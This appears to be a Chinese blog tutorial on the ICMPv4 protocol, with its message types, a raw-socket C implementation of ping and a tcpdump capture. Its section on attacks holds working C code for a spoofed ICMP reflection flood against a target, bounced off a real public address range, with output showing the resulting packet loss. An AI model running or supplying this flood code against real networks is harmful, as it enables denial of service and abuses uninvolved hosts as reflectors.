5.ICMPv4协议分析与实践

ICMPv4 协议分析与实践

1. 概述

1.1 ICMP 简介

  • ICMP(Internet Control Message Protocol) : 用于 IP 中发送控制消息(不可靠),提供可能发生在通信环境中的各种问题反馈,通常用于返回的错误信息或是分析路由。
  • 依靠 IP 完成任务,但一般不用于在两点之间传输数据,通常不由网络程序直接使用,除了 ping 和 traceroute

1.2 ICMPv4 报文格式

在这里插入图片描述

类型说明代码
3目的不可达消息0 网络不可达
1 主机不可达
2 协议不可达
3 端口不可达
4 需要分片,但是设置了 DF
5 源路由失败
5重定向消息0 对网络重定向
1 对主机重定向
2 对服务类型和网络重定向
3 对服务类型和主机重定向
8/0ping 请求和 ping 应答
11超时消息0 传输超时,即 TTL 为 0(tracetoute 原理)
1 分片重组超时,重组定时器超时了,还有分片没到达
12参数问题消息0 IP 首部有问题,包括各种差错
1 缺少必需的选项(已废弃)
2 长度错误,总长度无效

1.3 不会产生 ICMPv4 报文的情况

  • 源地址不是单个主机的数据报,即零地址、回环地址、广播地址或组播地址
  • 目的地址是 IPv4 广播或组播地址
  • ICMPv4 差错报文
  • 不是第一个分片的其他分片
  • 作为链路层广播的数据报

2. ICMPv4 编程

2.1 ping

  • 通过计算 ICMP 的 echo 请求和 echo 应答报文的成功率和往返时间, 从而得到丢包率和网络时延
shell> cat icmp.h
#ifndef __icmp_h_
#define __icmp_h_

#define ICMP_ECHOREPLY      0   /* Echo Reply           */
#define ICMP_DEST_UNREACH   3   /* Destination Unreachable  */
#define ICMP_SOURCE_QUENCH  4   /* Source Quench        */
#define ICMP_REDIRECT       5   /* Redirect (change route)  */
#define ICMP_ECHO           8   /* Echo Request         */
#define ICMP_TIME_EXCEEDED  11  /* Time Exceeded        */
#define ICMP_PARAMETERPROB  12  /* Parameter Problem        */
#define ICMP_TIMESTAMP      13  /* Timestamp Request        */
#define ICMP_TIMESTAMPREPLY 14  /* Timestamp Reply      */
#define ICMP_INFO_REQUEST   15  /* Information Request      */
#define ICMP_INFO_REPLY     16  /* Information Reply        */
#define ICMP_ADDRESS        17  /* Address Mask Request     */
#define ICMP_ADDRESSREPLY   18  /* Address Mask Reply       */
#define NR_ICMP_TYPES       18

/* Codes for UNREACH. */
#define ICMP_NET_UNREACH    0   /* Network Unreachable      */
#define ICMP_HOST_UNREACH   1   /* Host Unreachable     */
#define ICMP_PROT_UNREACH   2   /* Protocol Unreachable     */
#define ICMP_PORT_UNREACH   3   /* Port Unreachable     */
#define ICMP_FRAG_NEEDED    4   /* Fragmentation Needed/DF set  */
#define ICMP_SR_FAILED      5   /* Source Route failed      */
#define ICMP_NET_UNKNOWN    6
#define ICMP_HOST_UNKNOWN   7
#define ICMP_HOST_ISOLATED  8
#define ICMP_NET_ANO        9
#define ICMP_HOST_ANO       10
#define ICMP_NET_UNR_TOS    11
#define ICMP_HOST_UNR_TOS   12
#define ICMP_PKT_FILTERED   13  /* Packet filtered */
#define ICMP_PREC_VIOLATION 14  /* Precedence violation */
#define ICMP_PREC_CUTOFF    15  /* Precedence cut off */
#define NR_ICMP_UNREACH     15  /* instead of hardcoding immediate value */

/* Codes for REDIRECT. */
#define ICMP_REDIR_NET      0   /* Redirect Net         */
#define ICMP_REDIR_HOST     1   /* Redirect Host        */
#define ICMP_REDIR_NETTOS   2   /* Redirect Net for TOS     */
#define ICMP_REDIR_HOSTTOS  3   /* Redirect Host for TOS    */

/* Codes for TIME_EXCEEDED. */
#define ICMP_EXC_TTL        0   /* TTL count exceeded       */
#define ICMP_EXC_FRAGTIME   1   /* Fragment Reass time exceeded */


struct icmphdr {
	unsigned char  type;
	unsigned char  code;
	unsigned short checksum;
	union {
		struct {
			unsigned short id; 
			unsigned short seq;
		} echo; 
		unsigned int gateway;
		struct {
			unsigned short unused;
			unsigned short mtu;
		} frag;
		unsigned char reserved[4];
	} un; 
};


struct icmphdr* icmp_alloc_echo_datagram(unsigned short id, unsigned seq);

void icmp_free_datagram(struct icmphdr **icmp);

void icmp_print_echo(const struct icmphdr *icmp);


int icmp_socket();

ssize_t icmp_send(int sockfd, struct icmphdr *icmp, size_t size, 
		const char *daddr, int flags);

ssize_t icmp_recv(int sockfd, void *buf, size_t size, 
		const char *daddr, int flags);

void icmp_close(int sockfd);

#endif /* __icmp_h_ */
shell> cat icmp.c
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include "icmp.h"
#include "cksum.h"
#include "common.h"

struct icmphdr* icmp_alloc_echo_datagram(unsigned short id, unsigned seq)
{
	struct icmphdr *icmp;
	icmp = (struct icmphdr *) calloc(1, sizeof(struct icmphdr));
	icmp->type        = ICMP_ECHO;
	icmp->code        = 0;
	icmp->un.echo.id  = htons(id);
	icmp->un.echo.seq = htons(seq);

	// 如果带有数据,要连同数据一起计算校验和
	icmp->checksum = 0;          // 确保检验和为 0
	icmp->checksum = cksum((uint16_t *) icmp, sizeof(struct icmphdr)); 
	return icmp;
}

void icmp_free_datagram(struct icmphdr **icmp)
{
	if (NULL != icmp && NULL != *icmp) {
		free(*icmp);
		*icmp = NULL;
	}
}

void icmp_print_echo(const struct icmphdr *icmp) 
{
	printf("%02x\n", icmp->type);
	printf("%02x\n", icmp->code);
	printf("%04x\n", icmp->checksum);
	printf("%04x\n", ntohs(icmp->un.echo.id));
	printf("%04x\n", ntohs(icmp->un.echo.seq));
}

int icmp_socket() 
{
	int sockfd, size;

	if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) 
		handle_error("socket");

	// 增大接收缓冲区, 防止 ping 广播地址时溢出
	size = 128 * 1024;
	if (setsockopt(sockfd, SOL_SOCKET, SO_RCVBUF, &size, sizeof(size)))
		handle_error("setsockopt : SO_RCVBUF");

	return sockfd;
}

ssize_t icmp_send(int sockfd, struct icmphdr *icmp, size_t size, 
		const char *daddr, int flags) 
{
	ssize_t count;
	struct sockaddr_in addr;

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	inet_pton(addr.sin_family, daddr, &addr.sin_addr);
	
	if ((count = sendto(sockfd, icmp, size, flags, (struct sockaddr *)&addr, sizeof(addr))) == -1)
		handle_error("sendto");
	return count;
}

ssize_t icmp_recv(int sockfd, void *buf, size_t size, 
		const char *daddr, int flags) 
{
	ssize_t count;
	socklen_t socklen;	
	struct sockaddr_in addr;

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	inet_pton(addr.sin_family, daddr, &addr.sin_addr);

	socklen = sizeof(addr);
	
	if ((count = recvfrom(sockfd, buf, size, flags, (struct sockaddr *)&addr, &socklen)) == -1)
		handle_error("recvfrom");
	return count;
}

void icmp_close(int sockfd) 
{
	if (close(sockfd) == -1)
		handle_error("close");
}
shell> cat main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "ipv4.h"
#include "icmp.h"

#define BUFFER_SIZE 1500

static void icmp_ping(const char *addr) 
{
	int sockfd;
	struct icmphdr *icmp;
	struct ipv4_hdr *ipv4;
	char buffer[BUFFER_SIZE];

	sockfd = icmp_socket();

	// 发送消息
	icmp = icmp_alloc_echo_datagram(0x0001, 0x0009);
	icmp_send(sockfd, icmp, sizeof(struct icmphdr), addr, 0);
	icmp_free_datagram(&icmp);

	// 接收消息
	memset(buffer, 0, BUFFER_SIZE);
	icmp_recv(sockfd, buffer, BUFFER_SIZE, addr, 0);

	// 解析消息
	ipv4 = (struct ipv4_hdr *) buffer;	
	icmp = (struct icmphdr *) (buffer + ipv4->ihl * 4);
	icmp_print_echo(icmp);

	icmp_close(sockfd);	
}

int main(int argc, char *argv[])
{
	icmp_ping("192.168.2.200");
	return 0;
}
192.168.2.200 > sudo tcpdump -nt -XX icmp
IP 192.168.2.100 > 192.168.2.200: ICMP echo request, id 1, seq 9, length 8
	0x0000:  000d 0d0d 0d0d 000c 0c0c 0c0c 0800 4500  ..............E.
	0x0010:  001c 0c33 4000 4001 a831 c0a8 0264 c0a8  ...3@.@..1...d..
	0x0020:  02c8 0800 f7f5 0001 0009 0000 0000 0000  ................
	0x0030:  0000 0000 0000 0000 0000 0000            ............
IP 192.168.2.200 > 192.168.2.100: ICMP echo reply, id 1, seq 9, length 8
	0x0000:  000c 0c0c 0c0c 000d 0d0d 0d0d 0800 4500  ..............E.
	0x0010:  001c acd0 0000 4001 4794 c0a8 02c8 c0a8  ......@.G.......
	0x0020:  0264 0000 fff5 0001 0009                 .d........

192.168.2.100 > make run

2.2 traceroute

  • 当 TTL 为 0 时,路由器会丢弃该数据包,不再转发,并发送一个超时 ICMP 报文给源主机,通过不断累加 TTL,从而逐步确定下一跳路由器
  • 当 UDP 数据报到达最终目的地时,返回一个 ICMP 端口不可达错误,这个端口是随机的,如果目的主机使用了怎么办?

3. ICMPv4 攻防

3.1 ICMP 洪水攻击(ddos)

  • 通过伪装成目标机向外发送大量 ICMP echo 请求,导致目标机收到大量的 ICMP echo reply,造成网络故障
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "ipv4.h"
#include "icmp.h"

static void icmp_ddos(const char *netsegment, const char *target)
{
	int sockfd;
	unsigned int num = 0;
	struct icmphdr *icmp;
	struct ipv4_hdr *ipv4;
	unsigned short tot_len;

	sockfd = ipv4_socket();
	tot_len = sizeof(struct ipv4_hdr) + sizeof(struct icmphdr);

	// 伪装成目标机对外发送 ICMP echo 消息
	icmp = icmp_alloc_echo_datagram(0x0001, 0x0009);
	ipv4 = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_ICMP, target, netsegment, icmp, sizeof(struct icmphdr));

	// 循环给网段内所有机器发送
	while (++num) {
		ipv4->daddr = (ipv4->daddr & 0x00FFFFFF) | (num % 255 << 24);
		ipv4_send(sockfd, ipv4, tot_len, netsegment, 0);
		printf("%d\n", ipv4->daddr >> 24);
	}	

	icmp_free_datagram(&icmp);
	ipv4_free_packet(&ipv4);
	icmp_close(sockfd);	
}

int main(int argc, char *argv[])
{
	// 通过外网 39.156.69.0 网段攻击目标机
	icmp_ddos("39.156.69.79", "192.168.2.200");
	return 0;
}
192.168.2.200 > ping baidu.com
PING baidu.com (220.181.38.148) 56(84) bytes of data.
64 bytes from 220.181.38.148 (220.181.38.148): icmp_seq=1 ttl=127 time=36.6 ms
64 bytes from 220.181.38.148 (220.181.38.148): icmp_seq=2 ttl=127 time=36.4 ms
^C
--- baidu.com ping statistics ---
7 packets transmitted, 2 received, 71% packet loss, time 6085ms  # 出现大量丢包
rtt min/avg/max/mdev = 36.412/36.507/36.603/0.213 ms

192.168.2.100 > make run

3.2 ICMP 分片攻击(待补充)

参考链接

https://tools.ietf.org/html/rfc792

https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol

https://www.cnblogs.com/skyfsm/p/6395953.html

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值